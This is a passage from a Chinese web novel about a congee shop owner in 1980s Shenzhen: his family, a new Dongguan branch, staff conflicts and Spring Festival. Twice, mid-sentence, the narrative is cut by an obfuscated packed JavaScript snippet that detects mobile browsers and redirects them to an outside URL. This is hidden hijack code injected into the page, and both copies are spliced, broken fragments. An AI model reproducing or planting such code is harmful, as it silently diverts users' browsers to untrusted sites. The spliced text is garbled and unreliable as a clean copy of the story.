写完，他看着这张纸，有点恍惚。一年前，他还不敢想这些。现在，计划一件件变成现实。 时间真快，人也真能变。 窗外传来猫叫声，还有隐约的电视声。深圳的夜，依然热闹。 陈永福关掉台灯，上床睡觉。林玉兰已经睡着了，呼吸均匀。 他躺下，闭上眼睛。明天还要早起熬粥，还要处理三家店的事，还要准备东莞店开业。 但今晚，他想好好睡一觉。 睡吧，明天又是新的一天。 13. 新火 东莞常平镇，清晨六点。 黄秀英站在新店的玻璃门后，看着外面还黑着的街。路灯稀稀拉拉地亮着，灯下飞蛾扑腾。远处工厂的烟囱开始冒烟，灰白色的，一缕一缕升上天。 后厨，小赵已经在熬粥了。锅是新买的，比深圳的小一号，但足够用。米是昨天从深圳运来的，同一批米，保证味道一样。 “赵师傅，水少放点，今天的米比较干。”黄秀英走过去说。 小赵嗯了一声，舀出一瓢水。他是个实在人，话不多，让做什么就做什么。 黄秀英检查了一遍食材。肉是早上市场买的，还新鲜。海鲜不多，常平这边靠海不如深圳近，虾蟹贵。郑文达说先少做点海鲜粥，看市场反应。 六点半，天蒙蒙亮。街上开始有人走动，大多是去上早班的工人，穿着统一的蓝色工服，脚步匆匆。 黄秀英深吸一口气，打开了店门。门上的招牌是新的，“家香粥铺”四个字，跟深圳的一样，但底子是红色的，比深圳的显眼。 第一个客人是个中年男人，推着自行车在门口停下。 “开业了？” “开业了，师傅里面坐。”黄秀英赶紧说。 男人看了看菜单：“白粥一毛？比那边贵。” “我们米好，熬得稠。”黄秀英解释，“您尝尝，不好喝不要钱。” “来一碗吧。” 男人坐下，黄秀英盛了粥，多给了一勺咸菜。男人喝了一口，点点头：“是稠。” “您慢用。” 第一个客人满意，黄秀英心里踏实了点。 七点以后，客人多起来。大多是工人，要赶在七点半前到厂。他们吃得快，喝完粥就走，不多话。但也有嫌贵的，看了一眼菜单就走了。 黄秀英发现，常平的工人比深圳的节省。很多人只要白粥，连咸菜都不要。肉粥卖得慢，海鲜粥更慢。 中午，她给陈永福打电话。 “老板，这边工人消费低，海鲜粥卖不动。” 电话那头，陈永福沉默了一会儿：“那就少做点，主要推白粥和肉粥。价格能降吗？” “白粥一毛已经是最低了，再降没利润。” “那就在分量上做文章。”陈永福说，“碗用大点的，看着实惠。” “好。” “还有，”陈永福顿了顿，“你注意身体，别太累。” “知道，老板你也注意。” 挂了电话，黄秀英去市场找大碗。常平的市场比深圳小，东西也少。她转了一圈，找到一种粗瓷碗，比深圳的大一圈，但便宜，一毛钱一个。买了五十个。 下午试了试，同样的粥，用大碗盛，看着满。第二天早上，她特意在门口写了块牌子：“大碗白粥，一毛管饱”。 果然，要白粥的人多了。虽然成本高了点，但薄利多销。 开业第三天，出了个事。 中午高峰期，一个工人喝粥时从粥里吃出根头发。他啪地把碗一放，站起来：“老板！这什么？” 黄秀英跑过去，看见粥里确实有根短头发，黑色的。她脑子嗡的一声。 “对不起对不起，这碗我给您换，钱也退您。” “退钱就完了？”工人不依不饶，“我吃出头发，恶不恶心？你们这卫生怎么搞的？” 店里其他客人都看过来。黄秀英脸涨得通红，连连鞠躬：“实在对不起，是我们疏忽。今天您的饭钱全免，再赔您五块钱，您看行吗？” 工人看看她，又看看手里的五块钱，气消了点：“算了，下次注意。” “一定注意，一定。” 送走工人，黄秀英立刻召集所有员工开会。后厨、前厅，一共五个人，站成一排。 “谁掉的头发？”她问。 没人说话。 “自己承认，扣一天工资。要是让我查出来，扣三天。” 静了一会儿，一个服务员小声说：“可能……可能是我的。我早上梳头，可能掉进去了。” 黄秀英看着她，是个十八岁的本地姑娘，叫阿芳。 “阿芳，后厨卫生是命根子。以后进后厨必须戴帽子，长头发必须扎起来。听见没？” “听见了。” “今天的事，扣你一天工资，有没有意见？” “没意见。” “其他人也听着，”黄秀英扫视一圈，“再出现这种问题，不管是谁，直接走人。” 员工们低下头，不敢看她。 黄秀英心里也难受。她知道阿芳家里困难，父亲有病，母亲在厂里做工，她出来打工补贴家用。扣一天工资，对她来说不少。 但规矩就是规矩。李文杰说过，管理不能讲人情。 晚上打烊后，黄秀英把阿芳叫到一边，塞给她五块钱。 “拿着，别让人看见。” 阿芳愣住了：“店长，这……” “工资要扣，规矩不能坏。这是我私人给你的，补贴家用。”黄秀英说，“但下不为例。” 阿芳眼圈红了：“谢谢店长，我一定注意。” “去吧。” 看着阿芳离开的背影，黄秀英想起几年前的自己。也是这样小心翼翼，这样生怕犯错。时间真快，现在轮到她管别人了。 她给陈永福打电话汇报今天的事。陈永福听完，说：“你处理得对。规矩要立，但人心也要暖。” “老板，我是不是太凶了？” “该凶的时候要凶。”陈永福说，“但凶完要给个甜枣，这是李经理教我的。” 黄秀英笑了：“老板，你也学会这套了。” “被逼的。”陈永福也笑了，“对了，玉兰这两天可能要生，我最近可能过不去东莞。那边你多费心。” “老板娘要生了？恭喜老板！你放心，这边我能搞定。” “辛苦你了。” 挂了电话，黄秀英站在店门口。常平的夜比深圳安静，工厂的机器声停了，只有偶尔的狗叫声。路灯下，飞蛾还在扑腾。 她想起深圳，想起罗湖店的老榕树，想起陈永福一家人。现在她在东莞，一个人管一家店，像当年的陈永福一样。 责任真重，但感觉真好。 深圳这边，林玉兰的预产期越来越近。 陈永福把罗湖店的事暂时交给王建军，自己尽量多在家。王建军开始轮岗，第一个月在罗湖店，下个月去南山，再去福田。李文杰说这叫“全面培养”。 王建军紧张，怕做不好。陈永福说：“放心做，我在后面看着。” 话是这么说，陈永福还是每天去店里转转。不是不放心，是习惯了。十几年早起熬粥，突然闲下来，反而不自在。 一天下午，他在店里对账，手机响了——新买的，摩托罗拉，砖头大小，花了六千块。郑文达说做生意要有手机，方便联系。 是医院打来的。 “陈先生，您太太有临产迹象，已经送进产房了。” 陈永福脑子一片空白，手里的笔掉了。 “我马上来！” 他冲出店门，拦了辆出租车。深圳的出租车是红色的“夏利”，起步价八块。平时舍不得坐，今天顾不上了。 到医院，林玉兰已经进了产房。□□由邻居张阿姨带着，在走廊等着。 “阿爸！”□□跑过来，“阿妈在里面。” “我知道。”陈永福摸摸他的头，“别怕，阿妈没事。” 张阿姨说：“玉兰是中午开始疼的，我赶紧送她来。医生说宫口开三指了，快生了。” “谢谢张阿姨。” “客气啥，邻居嘛。” 陈永福在产房门口坐下。时间过得很慢，墙上钟的秒针一跳一跳的，每跳一下都像敲在他心上。 他想起林玉兰生建国时，他在外地打工，没赶上。等她生了，他才收到电报，赶回去时孩子已经满月了。林玉兰没怪他，但眼里的失落他记得。 这次，他要在。 产房里传来喊声，是林玉兰的声音，压抑的，痛苦的。陈永福手攥紧了，指甲掐进掌心。 张阿姨拍拍他的肩：“没事，生孩子都这样。” 他知道，但还是心疼。 又过了半小时，门开了，护士出来：“陈永福家属？” “我是！” “生了，女孩，六斤二两，母女平安。” 陈永福腿一软，差点坐地上。 “能进去吗？” “等会儿，收拾好了叫你们。” 陈永福靠在墙上，长长出了口气。女孩，是晓梅。林玉兰起的名字。 □□拉拉他的衣角：“阿爸，我有妹妹了？” “嗯，有妹妹了。” “叫什么名字？” “陈晓梅。” “晓梅……”□□念了一遍，“好听。” 又等了二十分钟，护士让他们进去。林玉兰躺在病床上，脸色苍白，但眼睛亮亮的。身边一个小包裹，里面是个皱巴巴的小脸。 “阿福，你看。”林玉兰轻声说。 陈永福凑过去看。孩子闭着眼睛，小嘴一抿一抿的，头发湿漉漉的。 “像你。”他说。 “像你，鼻子像。”林玉兰笑了，“建国，来看看妹妹。” □□小心翼翼地凑过来，看了半天：“她好小。” “你小时候也这么小。” “真的？” “真的。” 陈永福握住林玉兰的手：“辛苦你了。” “不辛苦。”林玉兰看着他，“你在，就不辛苦。” 一家四口在病房里，阳光从窗户照进来，暖洋洋的。这一刻，陈永福觉得什么都值了。所有的累，所有的压力，都值了。 林玉兰在医院住了三天。陈永福白天在医院陪她，晚上回家照顾□□，中间抽空去店里看看。王建军管得不错，没出乱子。 出院那天，郑文达派人送来花篮，何老板也来了，提了一篮鸡蛋。 “陈老板，恭喜恭喜。” “谢谢何老板。” “女孩好，贴心。”何老板说，“我老婆生了两儿子，闹腾死了，还是女儿好。” 陈永福笑着点头。 回到家，林玉兰躺在床上休息。陈永福请了个保姆，是张阿姨介绍的，姓吴，五十多岁，做事麻利。帮忙做饭、打扫、照顾孩子。 吴阿姨说：“陈老板放心，我照顾过十几个月子，有经验。” “麻烦吴阿姨了。” “不麻烦，应该的。” 有吴阿姨帮忙，陈永福轻松了些。但他还是不放心店里，每天至少去一趟。 东莞那边，黄秀英打电话来汇报。开业半个月，生意慢慢上来了。工人发现这家粥铺分量足，价格实在，来的多了。海鲜粥还是卖得少，但白粥和肉粥卖得好。 “老板，我想搞个活动。”黄秀英说，“月底发工资那几天，工人有钱，推个‘加肉粥’，多加点肉末，卖两毛。您觉得呢？” “可以，试试。” “还有，这边工人喜欢辣，我想做点辣咸菜。” “做，口味要入乡随俗。” 挂了电话，陈永福觉得黄秀英真的成长了。会想事，会调整，不像刚开始那样什么都问他。 王建军的轮岗也顺利。罗湖店管了一个月，没出大问题。这个月去南山店，有小玲配合，应该也行。 李文杰说：“陈老板，你现在可以稍微放手了。培养人，就是让自己轻松。” 陈永福点点头，但心里还是放不下。这是他一手建起来的摊子，像自己的孩子，交给别人，总不放心。 十二月底，深圳下了一场罕见的冷雨。 雨夹着风，冷到骨头里。商场里的暖气不够，客人都缩着脖子。粥铺生意却好了，天冷，都想喝口热的。 陈永福在罗湖店帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380747|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙。王建军去南山了，店里新提了个副店长，叫小周，二十岁，做事认真，但经验不足。 中午高峰期，人特别多。小周忙得团团转，收钱、找零、招呼客人，额头上全是汗。 陈永福在后厨帮忙盛粥。锅里的热气扑在脸上，暖和。他听见前面有客人在催。 “快点啊，等了十分钟了！” “来了来了！”小周小跑着送粥，差点滑倒。 陈永福走过去：“别急，慢慢来，安全第一。” “老板，人太多了……” “人多是好事。”陈永福拍拍他的肩，“你去收钱，我来送。” 他端起几碗粥，一桌一桌送。客人看见老板亲自送，抱怨的话也咽回去了。 忙到两点，人才少下来。小周累得坐在椅子上喘气。 “累吧？”陈永福递给他一瓶水。 “累，但充实。”小周喝了一大口水，“老板，我以前在工厂流水线，每天重复一个动作，没意思。这里虽然累，但每天不一样，有意思。” 陈永福笑了。是啊，有意思。累，但有成就感。 晚上打烊，陈永福算账。今天卖了四百碗，破纪录了。小周高兴得直搓手。 “老板，咱们店越来越好了。” “是你管理得好。” “是老板教导有方。” 两人都笑了。 回家的路上，雨停了，但风还大。陈永福把外套裹紧，快步走。路过老街那片空地时，他停下看了看。 老榕树移走了，留下的大坑已经填平，正在打地基。听说要建商场，比罗湖商城还大。 他站了一会儿，风吹得脸生疼。想起一年前，他站在老榕树下，看着自己的小粥铺。那时候的梦想，不过是站稳脚跟。 现在，他有了三家店，东莞还开了一家。有了手机，有了存款，有了四口之家。 梦想变大了，但压力也变大了。 但他不后悔。路是自己选的，就得走下去。 回到家，吴阿姨已经做好了饭。林玉兰在喂奶，晓梅在她怀里，小嘴一吸一吸的。 “回来了？”林玉兰抬头看他。 “嗯，今天生意好。” “累了吧？吃饭。” “你先吃，我抱会儿孩子。” 陈永福接过晓梅。孩子轻飘飘的，像一团棉花。她睁开眼睛，黑溜溜的眼珠看着他，不哭不闹。 “她认得你了。”林玉兰笑着说。 “这么小，哪会认人。” “会的，血缘连着。” 陈永福轻轻摇晃着孩子，心里满满的。这一刻，什么生意，什么压力，都忘了。只有怀里的这个小生命，真实，温暖。 □□写完作业出来，看见爸爸抱着妹妹，也凑过来。 “阿爸，妹妹什么时候能说话？” “还要好久呢。” “那我教她说话。” “好，你教。” 一家四口坐在灯下，饭菜冒着热气。窗外风声呼啸，但屋里暖和。 陈永福想，这就是他奋斗的意义。让家人有饭吃，有房住，有安稳的日子。 至于生意，慢慢做吧。能做多大做多大，做不大，现在这样也行。 但他知道，他不会停。深圳这座城市，也不让人停。你停，别人就超过你了。 吃完饭，陈永福去阳台抽烟。手机响了，是黄秀英。 “老板，睡了吗？” “没，什么事？” “今天东莞店卖了三百碗，也破纪录了。”黄秀英声音里有压抑不住的兴奋。 “好，好。” “老板，我想明年在常平再开一家店。” 陈永福愣了一下：“这么快？” “这边市场大，一家店不够。”黄秀英说，“而且我培养了两个本地员工，能当店长。” 陈永福沉默了。他没想到黄秀英的步子迈得这么快。 “老板，你觉得呢？” “让我想想。”陈永福说，“先把手头这家店做好，稳一稳。” “好。” 挂了电话，陈永福看着夜空。星星不多，被城市的灯光盖住了。但他好像看见了一颗，特别亮，一闪一闪的。 他想起了郑文达的话：机会不等人。 也许，他真的该放手让年轻人去闯了。他守好深圳这片，东莞、常平，甚至更远的地方，让黄秀英他们去开拓。 这样，家香粥铺才能真的做大，才能像郑文达说的那样，做成连锁。 烟抽完了，他回屋。林玉兰已经睡了，晓梅在她身边，也睡了。□□房间的灯还亮着，在看书。 他轻轻推开儿子的门：“还不睡？” “看完这页就睡。” “早点睡，明天还要上学。” “阿爸，我们老师今天说，深圳要建地铁了。” “地铁？” “嗯，地下跑的火车。老师说，以后从罗湖到南山，只要二十分钟。” 二十分钟。现在坐公交车要一个多钟头。 深圳真快，一天一个样。 “睡吧。”陈永福摸摸儿子的头，“以后阿爸带你坐地铁。” “好。” 关灯，关门。陈永福回到自己房间，在林玉兰身边躺下。 妻子翻了个身，轻声问：“谁的电话？” “秀英，东莞店生意好。” “那就好。”林玉兰迷迷糊糊地说，“睡吧。” “嗯，睡。” 陈永福闭上眼睛。明天还要早起熬粥，还要处理三家店的事，还要想东莞新店的事。 但今晚，他想好好睡一觉。 明天，又是新的一天。 这座城市在变，他的生活也在变。但有些东西不变，比如早起熬粥的习惯，比如对家人的责任，比如心里那团还没灭的火。 睡吧，明天还要赶路。 14. 八六 元旦过完没几天，深圳突然就冷了下来。 不是北方那种干冷，是南方的湿冷，寒气像细针，扎进骨头缝里。商场里暖气开足了，但门口的风还是飕飕地往进灌。陈永福在罗湖店门口挂了厚棉帘，蓝色的，印着“家香粥铺”四个白字，被风吹得鼓起来又瘪下去。 一九八六年了。 陈永福站在收银台后头，翻着新换的挂历。挂历是郑文达送的，香港印的，铜版纸，亮得反光。每一页都是风景照片，香港的太平山、维多利亚港、海洋公园。他翻到一月，上面用红笔圈了个日子：一月十八号，晓梅满月。 时间真快，孩子都满月了。 林玉兰坐完月子，精神好了不少。吴阿姨继续帮忙，白天照顾晓梅，做家务，晚上回家。一个月工资六十块，不便宜，但值。陈永福能安心在店里，林玉兰能好好休息。 晓梅长得快，满月时重了三斤，脸蛋圆了，眼睛更亮了。林玉兰说像陈永福，特别是眉毛。陈永福看不出来，只觉得女儿哪儿都好看。 满月酒没大办，就在家里请了几桌。郑文达从香港过来，送了金锁片。何老板提了两瓶洋酒，说是法国产的，陈永福没舍得喝，收在柜子里。黄秀英从东莞赶回来，给晓梅做了身小衣服，粉色的，绣着小花。 “秀英手艺越来越好了。”林玉兰说。 “在东莞闲着没事学的。”黄秀英不好意思，“老板娘喜欢就好。” “喜欢，晓梅也喜欢。” 黄秀英这次回来，主要是汇报东莞店的情况。开业两个月，生意稳了，每天能卖三百碗左右。工人认可了这家粥铺，说她分量足，味道好。 “老板，常平那边我想再开一家。”饭桌上，黄秀英又提起这事。 陈永福还没说话，郑文达先开口：“黄小姐有魄力。东莞市场大，一家店不够。” “但人手不够。”陈永福说，“你现在这家店才稳，马上开第二家，顾得过来吗？” “顾得过来。”黄秀英很自信，“我培养了两个人，一个能当店长，一个能当厨师。第二家店让他们管，我在后面看着。” 陈永福看看李文杰。李文杰点点头：“可以试试。黄小姐有能力，该放手让她做。” “那资金呢？”陈永福问郑文达。 “第二家店我单独投。”郑文达说，“黄小姐占两成股份，陈老板你提供品牌和技术，也占两成。我占六成。” 这个条件不错。陈永福不用出钱，只出品牌，就能占两成。黄秀英能当小老板，更有干劲。 “秀英，你觉得呢？”陈永福问。 “我觉得行。”黄秀英眼睛发亮，“老板，我想试试。” 陈永福沉默了一会儿。他想起一年前的黄秀英，蹲在路灯下哭的样子。现在，她要当老板了。 “行，那就试试。”他说，“不过要稳扎稳打，别贪快。” “知道！” 满月酒吃完，黄秀英当天就回东莞了。她说要抓紧时间，争取春节前把第二家店开起来。 李文杰也走了，去福田店检查。郑文达回香港。家里就剩陈永福一家和吴阿姨。 林玉兰在哄晓梅睡觉，□□在写作业。陈永福坐在沙发上，看着这个家。新租的房子，三室一厅，月租一百二。家具是新买的，沙发、电视柜、餐桌，花了两千多。墙上挂着全家福，是晓梅满月时拍的，照相馆的人上门来拍的，黑白照，但笑得开心。 “想什么呢？”林玉兰走过来，在他身边坐下。 “想秀英。”陈永福说，“变化真大。” “是啊，她能干。”林玉兰靠在他肩上，“阿福，你有没有发现，你现在管得越来越少了？” “李经理说，老板要学着放手。” “是该放手。”林玉兰轻声说，“你看你，白头发都多了。” 陈永福摸摸头发，确实，鬓角有几根白的。他才三十三岁。 “老了。” “不老。”林玉兰握住他的手，“就是累的。以后多休息，店里的事，让他们年轻人去忙。” “嗯。” 话是这么说，但陈永福知道，他闲不下来。三家店，几十号人，每天都有事。今天这个请假，明天那个出错，后天又要进货。小事不断。 一月中的一天，王建军从南山店打来电话，声音急：“老板，刘师傅跟小玲吵起来了。” “为什么？” “刘师傅嫌小玲管得多，说他熬粥时小玲老在旁边看，像监视他。” 陈永福皱眉。刘师傅这个老毛病，一直没改。手艺好，但脾气倔，不服管。小玲年轻，想认真做事，反而被嫌。 “我过去一趟。” 坐车到南山店，还没进门就听见吵吵声。 “我是厨师还是你是厨师？我熬了十几年粥，要你教？”刘师傅嗓门大。 “刘师傅，我不是教，是提醒。今天的粥有点咸，客人有意见。”小玲声音小，但没退让。 “咸？哪里咸？你尝了吗你就说咸？” “我尝了，是咸。” 陈永福走进去。两人看见他，都停了。 “老板。”小玲低下头。 刘师傅别过脸，不看他。 “怎么回事？”陈永福问。 小玲把情况说了。中午有客人反映粥咸，她尝了确实咸，就跟刘师傅说。刘师傅不认，说她不懂装懂。 “刘师傅，粥呢？”陈永福问。 “倒锅里了。” 陈永福走到灶台前，舀了一勺尝。确实咸，而且有股糊味。 “刘师傅，你来尝。” 刘师傅不情愿地过来，尝了一口，脸色变了。 “可能……可能盐放重了。” “不是盐放重了，是没搅匀。”陈永福说，“锅底糊了，你只顾上面，没搅底，底下的咸了糊了。” 刘师傅不说话了。 “小玲提醒你，是为店好。”陈永福看着他，“你觉得她年轻不懂，那你这个老师傅，怎么还犯这种错？” “我……” “一次两次可以，次数多了，客人就跑了。”陈永福说，“刘师傅，你手艺好，我知道。但好手艺更要用心。糊弄，再好的手艺也白搭。” 刘师傅脸红了，低着头。 “今天的事，扣你一天工资。”陈永福说，“再有下次，就不是扣工资了。” “知道了。” “小玲，”陈永福转向她，“你做得对。以后继续，该说的要说。” “嗯。”小玲点头，眼睛有点红。 处理完这事，陈永福把王建军叫到一边。 “建军，你在这边轮岗，要多协调。刘师傅和小玲，一个老资格，一个新上任，肯定有矛盾。你要在中间调和。” “老板，我试了，但刘师傅不听我的。” “不听也要说。”陈永福拍拍他的肩，“你现在是未来区域经理，要学着管人。管人最难，比管店难。” 王建军点头：“我尽力。” “不是尽力，是必须。”陈永福说，“李经理说了，三月送你去培训班，学管理。你要拿出成绩来，不然人家凭什么教你？” “知道了，老板。” 回罗湖的路上，陈永福想，管人确实难。他宁愿多熬几锅粥，也不愿处理这些纠纷。但没办法，店多了，人多了，这些事就来了。 李文杰说得对，管理不是交朋友。该严的时候要严，该罚的时候要罚。 但陈永福还是觉得，人心是肉长的。刘师傅为什么不服小玲？因为小玲是他带出来的，现在反过来管他，面子上过不去。扣工资是罚，但罚完还得给个台阶下。 他给刘师傅打了个电话。 “刘师傅，今天的事，你别往心里去。” 电话那头，刘师傅闷声说：“老板，是我错了。” “知道错就好。”陈永福说，“你是老师傅，店里的顶梁柱。小玲年轻，还需要你带。你带得好，以后店里给你发奖金。带不好，人家说你小气，容不下年轻人。” 这话说到了刘师傅心里。他要面子，也想要钱。 “老板，我明白了。以后我注意。” “那就好。” 挂了电话，陈永福松了口气。管人像熬粥，火候要准。太硬了糊，太软了不熟。 一月下旬，东莞传来消息：黄秀英的第二家店选址定了，在常平的另一个工业区，离第一家店三公里。租金便宜，三十平米，月租一百五。装修已经开始，预计二月开业。 郑文达很满意，说黄秀英“有效率”。 陈永福却有点担心。太快了，怕基础不牢。但他没说什么，既然放手了，就得相信。 月底盘点，三家店一月份的营业额出来了。罗湖五千五，南山四千，福田四千五。总利润两千三。 李文杰说：“稳中有升，不错。” 但陈永福发现一个问题：成本涨了。米价涨了，肉价涨了，人工也涨了。利润虽然涨，但涨幅没跟上营业额。 “通胀开始了。”李文杰说，“深圳发展快，物价也跟着涨。我们要想办法控制成本，或者提价。” 提价？陈永福犹豫。客人对价格敏感，特别是工人，一毛钱都要计较。 “先控制成本吧。”他说，“米和肉，我再去跟批发商谈，看能不能再便宜点。” “难。”李文杰摇头，“整个市场都在涨。我倒觉得，可以适当提价，但要用别的方式补偿。比如加量，或者送小菜。” 陈永福想了想：“那就白粥涨到一毛二，肉粥一毛八。但碗再大一圈，咸菜多给一勺。” “可以试试。” 二月一号，罗湖店率先调价。陈永福在门口贴了告示：“因成本上涨，即日起价格微调。但分量增加，咸菜免费加。” 客人有意见，但看见碗确实大了，咸菜随便加，也就算了。只有几个老顾客嘟囔了几句，但该来还是来。 陈永福松了口气。这关过了。 二月八号，小年。深圳的街头开始有年味了。商场挂起红灯笼，放起喜庆音乐。很多档口贴出“春节照常营业”的牌子。 陈永福今年不打算回老家。林玉兰刚生完孩子，经不起长途奔波。他给老家寄了五百块钱，写了一封长信，说夏天一定回去。 父亲回信了，很短：“钱收到，勿念。生意要紧，家里都好。孙儿孙女照片寄来。” 陈永福去照相馆，拍了一张全家福，一张晓梅的单人照，寄回老家。信里写：“儿在深圳安好，生意稳中有进。晓梅健康可爱，建国学习用功。玉兰身体渐复，勿念。” 写到这里，他鼻子有点酸。出来两年了，没回去过。父母老了，他不在身边，是不孝。但没办法，生活所迫。 林玉兰看出他心情不好，说：“等晓梅大点，咱们一起回去。” “嗯。” 小年那天，陈永福请所有员工吃饭。三家店的骨干，加上东莞的黄秀英，在罗湖一家酒楼包了个大桌。 来了二十多个人，挤挤攘攘坐了三桌。陈永福站起来讲话，他不会说漂亮话，就说了一句：“这一年，大家辛苦了。明年，咱们一起努力，把生意做得更好。” 说完，他敬了大家一杯。酒是白酒，辣，但暖。 黄秀英也站起来：“老板，我敬你一杯。没有你，就没有我的今天。” “是你自己争气。”陈永福跟她碰杯。 其他员工也轮流敬酒。刘师傅喝多了，拉着小玲的手说：“以前是我不对，你别往心里去。” 小玲脸红：“刘师傅，您言重了。” 王建军坐在陈永福旁边，小声说：“老板，培训班的事，谢谢你。” “好好学，学成了帮我分担。” “一定！” 吃完饭，大家散去。陈永福和黄秀英最后走。 “秀英，东莞第二家店，有把握吗？”陈永福问。 “有。”黄秀英说，“老板，我发现一个规律：工人多的工业区，粥铺生意一定好。他们需要便宜、热乎、顶饱的早餐。咱们就做这个。” “对，定位要准。” “老板，我还想……”黄秀英犹豫了一下，“等第二家店稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380748|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，我想去广州看看。” “广州？” “嗯。广州人多，市场更大。而且离香港近，郑先生的关系能用上。” 陈永福看着她。这个当年连工作都找不到的女孩，现在眼光已经放到广州了。 “步子别太大。” “我知道，先稳东莞。”黄秀英说，“老板，你放心，我不会乱来。” “我信你。” 送走黄秀英，陈永福一个人走在回家的路上。街上很热闹，卖年货的摊子还没收，对联、灯笼、糖果，红红火火。孩子们在放鞭炮，噼啪响。 他想起老家的年。这个时候，母亲应该在做年糕，父亲在写春联。弟弟妹妹在院子里追着玩，等着吃年夜饭。 两年了。他在深圳有了自己的年，但老家的年，还在记忆里。 手机响了，是郑文达。 “陈老板，新年快乐。” “郑先生同乐。” “有件事跟你商量。”郑文达说，“我有个朋友，做食品加工的，想跟我们合作，生产速食粥。” “速食粥？” “就是袋装的，开水一冲就能喝。”郑文达说，“现在深圳生活节奏快，很多人没时间坐下来喝粥。速食粥有市场。” 陈永福从没想过这个。粥要现熬现喝才好，袋装的能好喝吗？ “郑先生，这个……” “我知道你担心质量。”郑文达说，“所以我们合作。你提供配方和技术，他们生产。卖得好，你有分成。卖不好，你没损失。” “让我想想。” “不急，过完年再说。” 挂了电话，陈永福脑子有点乱。速食粥，袋装，开水冲。这还叫粥吗？但郑文达说得对，深圳节奏快，很多人没时间。也许真有市场。 回到家，林玉兰还没睡，在给晓梅喂奶。 “怎么这么晚？” “跟员工吃饭。”陈永福把速食粥的事说了。 林玉兰听完，想了想：“你觉得行吗？” “不知道。”陈永福老实说，“粥要现熬才好，袋装的，味道肯定差。” “但方便啊。”林玉兰说，“像方便面一样，泡一下就能吃。现在年轻人，图方便。” “你也觉得可行？” “试试呗，反正你不亏。”林玉兰说，“郑先生出钱，你出技术。成了，多一条财路。不成，也没什么。” 陈永福点点头。妻子说得对，试试无妨。 年三十，商场只营业到下午三点。陈永福给员工发了红包，每人二十块。大家高兴，说过年好话。 下午，他带着林玉兰和孩子们去何老板家吃年夜饭。何老板的香港亲戚来了，一大家子，热闹。何太太做了盆菜，一大盆，里面有鸡、鸭、鱼、肉、虾，层层叠叠，热气腾腾。 “陈老板，尝尝，香港的年夜菜。”何老板说。 陈永福尝了一口，味道浓郁，跟潮汕菜不一样，但好吃。 “何老板手艺好。” “我太太做的。”何老板笑，“我就是个吃货。” 吃完饭，看电视。春节联欢晚会，小品、相声、唱歌。□□看得咯咯笑，晓梅在妈妈怀里睡着了。 何老板跟陈永福在阳台抽烟。 “陈老板，听说你要做速食粥？” “郑先生提的，还没定。” “好事。”何老板说，“品牌要延伸，不能只靠门店。速食产品，走量，利润高。” “但味道……” “味道可以调。”何老板弹弹烟灰，“现在食品技术发达，保鲜、调味，都能做。关键是品牌，人家认‘家香’这两个字。” 陈永福想了想，是这么个理。 “何老板，你觉得能成吗？” “事在人为。”何老板说，“深圳这个地方，什么都有可能。两年前，你能想到你有今天吗？” 陈永福摇摇头。两年前，他只想糊口。 “所以啊，大胆试。”何老板拍拍他的肩，“我跟着你投点，怎么样？” “何老板愿意投，当然好。” “那就这么说定了。过完年，咱们跟郑先生详细谈。” 零点的钟声敲响时，深圳全城响起鞭炮声。虽然禁放，但拦不住。劈里啪啦，震耳欲聋。 陈永福站在阳台上，看着夜空被烟花照亮。红的、绿的、金的，一朵朵炸开，又消失。 新的一年来了。 他不知道这一年会怎样，但知道，不会轻松。速食粥、东莞新店、广州考察、员工管理，一件件等着他。 但他不怕。两年了，他在这座城市站稳了。有家，有店，有人。 烟花还在放，照得夜空时明时暗。陈永福想起老家的一句话：年年难过年年过，年年过得还不错。 是啊，难是难，但总能过去。 他回到屋里，林玉兰在哄晓梅，□□在数红包。吴阿姨在厨房煮汤圆，甜甜的香味飘出来。 这个年，在深圳过的第一个完整年。虽然想老家，但这里也是家了。 “吃汤圆了。”吴阿姨端出来。 一人一碗，白糯糯的汤圆，黑芝麻馅，甜到心里。 “祝咱们家，团团圆圆，甜甜蜜蜜。”林玉兰说。 “团团圆圆，甜甜蜜蜜。”陈永福重复。 晓梅醒了，眨巴着眼睛看灯。□□把一个汤圆吹凉，要喂妹妹。 “她还小，不能吃。” “就舔舔。” “那也不行。” 一家人笑了。 窗外，鞭炮声渐渐稀了。深圳的夜，慢慢安静下来。 但明天，太阳升起时，这座城市又会忙碌起来。工地会开工，商场会开门，人们会奔波。 陈永福也会早起，熬粥，开店，迎接新的一年。 路还长，但一步步走，总能走到头。 他吃完汤圆，放下碗。林玉兰靠在他肩上，轻声说：“阿福，新年快乐。” “新年快乐。” 孩子睡了，妻子在身边。这就是他的年，他的生活，他的深圳。 15. 春寒 春节的鞭炮味儿还没散干净，深圳就来了场倒春寒。 冷风从海上刮过来，湿漉漉的，钻进衣服里像冰刀子。商场里的暖气开得足，但门口那道棉帘子挡不住风，客人进门时都缩着脖子，嘴里哈着白气。 陈永福站在罗湖店门口，看着街上的行人。初八了，该上班的都上班了，但街上人还是少。深圳是座移民城，过年时走了一大半，要过了十五才慢慢回满。 店里生意也淡。早上只卖了不到一百碗，比平时少了一半。王建军在收银台后打哈欠，小周在后厨收拾，动作都慢吞吞的。 “老板，这年过得，人都懒了。”王建军说。 “正常，过几天就好了。”陈永福说，但心里也有点急。店开着，租金、人工、水电，一天都不能少。生意淡，就是净亏。 